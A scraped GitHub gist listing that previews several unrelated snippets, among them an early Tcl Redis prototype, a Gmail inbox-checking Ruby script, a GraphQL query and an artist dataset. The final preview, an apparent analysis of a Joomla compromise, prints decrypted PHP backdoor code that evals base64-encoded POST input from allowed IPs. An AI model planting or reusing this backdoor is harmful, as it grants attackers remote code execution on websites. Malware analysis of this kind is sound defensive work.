Skip to content

Instantly share code, notes, and snippets.

View peterc's full-sized avatar
🏠
Working from home

Peter Cooper peterc

🏠
Working from home
View GitHub Profile
@antirez
antirez / lmdb.tcl
Created April 28, 2017 15:40
LMDB -- First version of Redis written in Tcl
# LVDB - LLOOGG Memory DB
# Copyriht (C) 2009 Salvatore Sanfilippo <[email protected]>
# All Rights Reserved
# TODO
# - cron with cleanup of timedout clients, automatic dump
# - the dump should use array startsearch to write it line by line
# and may just use gets to read element by element and load the whole state.
# - 'help','stopserver','saveandstopserver','save','load','reset','keys' commands.
# - ttl with milliseconds resolution 'ttl a 1000'. Check ttl in dump!
@aparrish
aparrish / spacy_intro.ipynb
Last active March 14, 2025 21:43
NLP Concepts with spaCy. Code examples released under CC0 https://creativecommons.org/choose/zero/, other text released under CC BY 4.0 https://creativecommons.org/licenses/by/4.0/
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@peterc
peterc / inboxcheck.rb
Last active April 30, 2020 22:12
A Ruby script that checks a Gmail inbox for new mail and shares info about how it was classified
# inboxcheck.rb monitors a Gmail account for new mails and returns
# info (as JSON) about the first new mail from a specified address
#
# This is used to see if our newsletter testing mails arrive at
# Gmail and then if they go into spam, promotions or the normal inbox.
#
# To use or work on this script for yourself, follow steps 1 and 2 at
# https://developers.google.com/gmail/api/quickstart/ruby to get set
# up with the Google API stuff. Make sure client_secret.json ends up
# in the same directory as this script, then you're good to go.
@katopz
katopz / gql_search_stargazers.gql
Created November 26, 2016 04:54
GraphQL Github Example : Search for top ten stargazers
// Try at : https://graphql-explorer.githubapp.com/
{
search(query: "language:JavaScript stars:>10000", type: REPOSITORY, first: 10) {
repositoryCount
edges {
node {
... on Repository {
name
descriptionHTML
stargazers {
@jhorology
jhorology / garage-band.js
Last active March 22, 2024 19:56
Fake Garage Band for NIHostIntegrationAgent
var midi = require('midi');
var mdns = require('mdns');
var osc = require('node-osc');
var KK_OSC_SERVICE_NAME = 'KOMPLETE KONTROL S-Series';
var LISTEN_PORT = 7001;
var txtRecord = {
AppleLogic: 'GarageBand10'
};
@mbejda
mbejda / 10000-MTV-Music-Artists-page-1.csv
Last active October 6, 2024 08:02
10,000 MTV's Top Music Artists. Great dataset for machine learning, research and analysis. (name,facebook,twitter,website,genre,mtv).
name facebook twitter website genre mtv
Adele http://www.facebook.com/9770929278 http://www.twitter.com/officialadele Pop http://www.mtv.com/artists/adele/biography
Joey + Rory http://www.facebook.com/15044507815 http://www.twitter.com/joeyandrory Country http://www.cmt.com/artists/joey-rory/biography
Draaco Aventura http://www.facebook.com/856796091053581 http://www.twitter.com/DraacoAventura http://www.bandpage.com/draacoaventura Pop Latino http://www.mtv.com/artists/draaco-aventura/biography
Justin Bieber http://www.facebook.com/309570926875 http://www.twitter.com/justinbieber http://www.justinbiebermusic.com Pop http://www.mtv.com/artists/justin-bieber/biography
Peer van Mladen http://www.facebook.com/264487966 http://www.twitter.com/Predrag_Jugovic http://pejaintergroup.eu/Peer_van_Mladen.html House http://www.mtv.com/artists/peer-van-mladen/biography
Chris Janson http://www.facebook.com/296647641825 http://www.twitter.com/janson_chris http://www.chrisjanson.com Country http://www.cmt.com/a
@martinrusev
martinrusev / rails.sh
Last active November 15, 2018 10:50
Installing apps on ARM
# Source
# http://www.iconoclastlabs.com/blog/ruby-on-rails-on-the-raspberry-pi-b-with-rbenv
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
sudo apt-get install autoconf bison build-essential libssl-dev libyaml-dev libreadline6 libreadline6-dev zlib1g zlib1g-dev
sudo apt-get install -y openssl libreadline6-dev git-core zlib1g libssl-dev
@jasonrudolph
jasonrudolph / request.sh
Created April 14, 2015 14:10
Get `starred_at` timestamp for a repository's stargazers via the GitHub API
curl https://api.github.com/repos/atom/atom/stargazers -H 'Accept: application/vnd.github.v3.star+json'
@nicoder
nicoder / 20150320_sonic_pi.rb
Created March 20, 2015 03:44
20150320 sonic pi
# random == jazz?
define :random_notes do |synth|
in_thread do
use_synth synth
loop do
[1, 2, 3].choose.times do
play rrand_i(36, 72), pan: rrand(-1, 1), release: rrand(0.1, 0.7)
end
@ifnull
ifnull / decrypted.php
Created November 17, 2014 19:58
Analysis of Joomla exploit
<?php
if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR'])) {
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"] == "1") {
type1_send();
exit();
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") {